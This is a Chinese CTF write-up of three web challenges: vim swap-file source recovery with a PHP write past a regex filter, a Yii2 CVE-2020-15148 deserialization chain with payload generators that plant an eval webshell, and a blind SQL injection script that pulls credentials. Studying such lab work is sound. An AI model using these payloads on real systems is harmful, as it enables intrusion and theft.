web1 扫目录得到
访问robots.txt
访问1ndxx.php,没有结果,尝试访问.1ndxx.php.swp
因为在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容
以 index.php 为例:第一次产生的交换文件名为 .index.php.swp
再次意外退出后,将会产生名为 .index.php.swo 的交换文件
第三次产生的交换文件则为 .index.php.swn
访问.index.php.swp得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php $file=fopen("flag.php" ,"r" ) or die ("Unable 2 open!" ); $I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php" )); $hack=fopen("hack.php" ,"w" ) or die ("Unable 2 open" ); $a=$_GET['code' ]; if (preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/' ,$a)){ die ("you die" ); } if (strlen($a)>33 ){ die ("nonono." ); } fwrite($hack,$a); fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh); fclose($file); fclose($hack); ?>
首先查看fopen,fread,fwrite等函数的用法:
fread读取的值需要打印输出才能显示出来
知道了上面函数的用法,我们可以先分析下面这段代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $file=fopen("flag.php" ,"r" ) or die ("Unable 2 open!" ); $I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php" )); echo $I_know_you_wanna_but_i_will_not_give_you_hhh;$hack=fopen("hack.php" ,"w" ) or die ("Unable 2 open" ); fwrite($hack,"<?php phpinfo();?>111111111112222222222" ); fclose($hack); fclose($file); echo "<br/>" ;echo file_get_contents("hack.php" );
进一步分析下面这段代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $file=fopen("flag.php" ,"r" ) or die ("Unable 2 open!" ); $I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php" )); $hack=fopen("hack.php" ,"w" ) or die ("Unable 2 open" ); fwrite($hack, "<?php phpinfo();?>" ); fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh); fclose($file); fclose($hack); echo file_get_contents('hack.php' );
可以看到,新写入hack.php的内容把原来hack.php的内容覆盖了,还有是hack.php前面我们写入的内容,后面才是flag.php的内容。
一开始的想法就是输入空值,然后打开hack.php就可以看到flag.php的内容,但发现没有flag。
尝试传入参数?code=<?php phpinfo();?>
然后再打开hack.php输出phpinfo
在phpinfo中搜索flag
本来以为这道题的考点还有无参数rce,结果没有。
web2 在ctfhub上有环境https://www.ctfhub.com/#/challenge
扫描目录发现www.zip
在web/index下输入echo Yii::getVersion();
,打印出版本号
可以看到打印出版本号为2.0.32
搜索这个版本或者更高版本的漏洞
参考了这一篇文章https://blog.csdn.net/rfrder/article/details/113824239
漏洞出现在yii2.0.38之前的版本中,在2.0.38进行了修复,CVE编号是CVE-2020-15148
这里有一个序列化函数,再全局搜索__destruct方法
第一个__destruct
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public function seed ($seed = null ) { if ($seed === null ) { mt_srand(); } else { if (PHP_VERSION_ID < 70100 ) { mt_srand((int ) $seed); } else { mt_srand((int ) $seed, MT_RAND_PHP); } } }
第二个__destruct
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public function __destruct ( ) { $this ->stopProcess(); } public function stopProcess ( ) { foreach (array_reverse($this ->processes) as $process) { if (!$process->isRunning()) { continue ; } $this ->output->debug('[RunProcess] Stopping ' . $process->getCommandLine()); $process->stop(); } $this ->processes = []; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 private function addProcessToMonitoring (Process $process, array $followingCommands ) { $this ->processes[] = [ 'instance' => $process, 'following' => $followingCommands ]; } public function runProcess ( ) { $this ->processes = []; foreach ($this ->config as $key => $command) { if (!$command) { continue ; } if (!is_int($key)) { continue ; } if (method_exists(Process::class, 'fromShellCommandline' )) { $process = Process::fromShellCommandline($command, $this ->getRootDir(), null , null , null ); } else { $process = new Process($command, $this ->getRootDir(), null , null , null ); } $process->start(); $this ->processes[] = $process; $this ->output->debug('[RunProcess] Starting ' .$command); } sleep($this ->config['sleep' ]); }
好像没发现啥危险函数,网上也没有找到利用链,就没有找了。
第三个destruct
继续跟进close(),发现没有什么利用的办法,正常可能链就断了,但是大师傅们的思路就是不一样,这里的_dataReader
是可控的,那么调用了close的方法,是不是可以想办法触发__call呢?
__call
方法在对象方法不存在的时候被调用
接下来,全局搜索__call
1 2 3 4 public function __call ($method, $attributes ) { return $this ->format($method, $attributes); }
因为close是无参方法,所以__call中的$method
是close,attributes
为空 。继续跟进format方法:
1 2 3 4 public function format ($formatter, $arguments = array ( ) ) { return call_user_func_array($this ->getFormatter($formatter), $arguments); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public function getFormatter ($formatter ) { if (isset ($this ->formatters[$formatter])) { return $this ->formatters[$formatter]; } foreach ($this ->providers as $provider) { if (method_exists($provider, $formatter)) { $this ->formatters[$formatter] = array ($provider, $formatter); return $this ->formatters[$formatter]; } } throw new \InvalidArgumentException (sprintf('Unknown formatter "%s"' , $formatter)); }
因为**$this->formatters**是可控的,因此getFormatter方法的返回值也是我们可控的,因此call_user_func_array($this->getFormatter($formatter), $arguments);中,回调函数是我们可控的,但是$arguments为空,所以相当于我们现在能干两件事,可以调用yii2中任意的一个无参方法,或者调用原生php的类似phpinfo()这样的无参方法,但是第二种肯定不能RCE,因此还要在yii2中已有的无参方法中进行挖掘:
1 2 3 4 5 6 7 8 9 public function run ( ) { if ($this ->checkAccess) { call_user_func($this ->checkAccess, $this ->id); } }
$this->checkAccess
和$this->id
都是我们可控的,相当于直接函数名和参数都可控了,反序列化链至此结束。
1 2 3 4 5 6 7 8 9 10 11 class BatchQueryResult ->__destruct() ↓↓↓ class BatchQueryResult ->reset() ↓↓↓ class Generator ->__call() ↓↓↓ class Generator ->format() ↓↓↓ class Generator ->getFormatter() ↓↓↓ class IndexAction ->run()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php namespace yii \rest { class CreateAction { public $checkAccess ; public $id; public function __construct ( ) { $this ->checkAccess = 'assert' ; $this ->id = 'phpinfo();' ; } } } namespace Faker { use yii \rest \CreateAction ; class Generator { protected $formatters; public function __construct ( ) { $this ->formatters['close' ] = [new CreateAction(), 'run' ]; } } } namespace yii \db { use Faker \Generator ; class BatchQueryResult { private $_dataReader; public function __construct ( ) { $this ->_dataReader = new Generator ; } } } namespace { echo base64_encode (serialize (new yii \db \BatchQueryResult )); } ?>
得到一个不完整的phpinfo
之后测试的时候,发现system、eval之类的一些函数好像都没有效果,猜测可能设置了disable_functions不过最后发现assert能用、file_put_contents()也能用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php namespace yii \rest { class CreateAction { public $checkAccess ; public $id; public function __construct ( ) { $this ->checkAccess = 'assert' ; $this ->id = 'file_put_contents(\'mochu7.php\',\'<?php eval($_POST[7]);?>\');' ; } } } namespace Faker { use yii \rest \CreateAction ; class Generator { protected $formatters; public function __construct ( ) { $this ->formatters['close' ] = [new CreateAction(), 'run' ]; } } } namespace yii \db { use Faker \Generator ; class BatchQueryResult { private $_dataReader; public function __construct ( ) { $this ->_dataReader = new Generator ; } } } namespace { echo base64_encode (serialize (new yii \db \BatchQueryResult )); } ?>
1 2 $this ->checkAccess = 'assert' ;$this ->id = 'file_put_contents(\'mochu7.php\',\'<?php eval($_POST[7]);?>\');' ;
web3 打开一个登录界面,尝试过弱密码,sql注入都显示登录失败,查看源代码,发现有一个?id=1
的链接
发现id的值是可以修改的,自然想到这里是sql注入,编写脚本,得到登录的账号密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requests s = '' for i in range(1 , 40 ): high = 127 low = 32 mid = (low + high) while high > low: url = "http://challenge-7a25d7bb8e61f081.sandbox.ctfhub.com:10800/image.php?id=if(ascii(mid((select/**/group_concat(username,password)/**/from/**/ctf.users),%d,1))<=%s,1,5)" %(i,mid) r=requests.get(url) if len(r.text)>1000 : high = mid else : low = mid+1 mid = (low + high) s += chr(int (mid)) print (s)
登录成功是这样一个页面,这里是文件包含漏洞
参考文章:https://blog.csdn.net/rfrder/article/details/113824239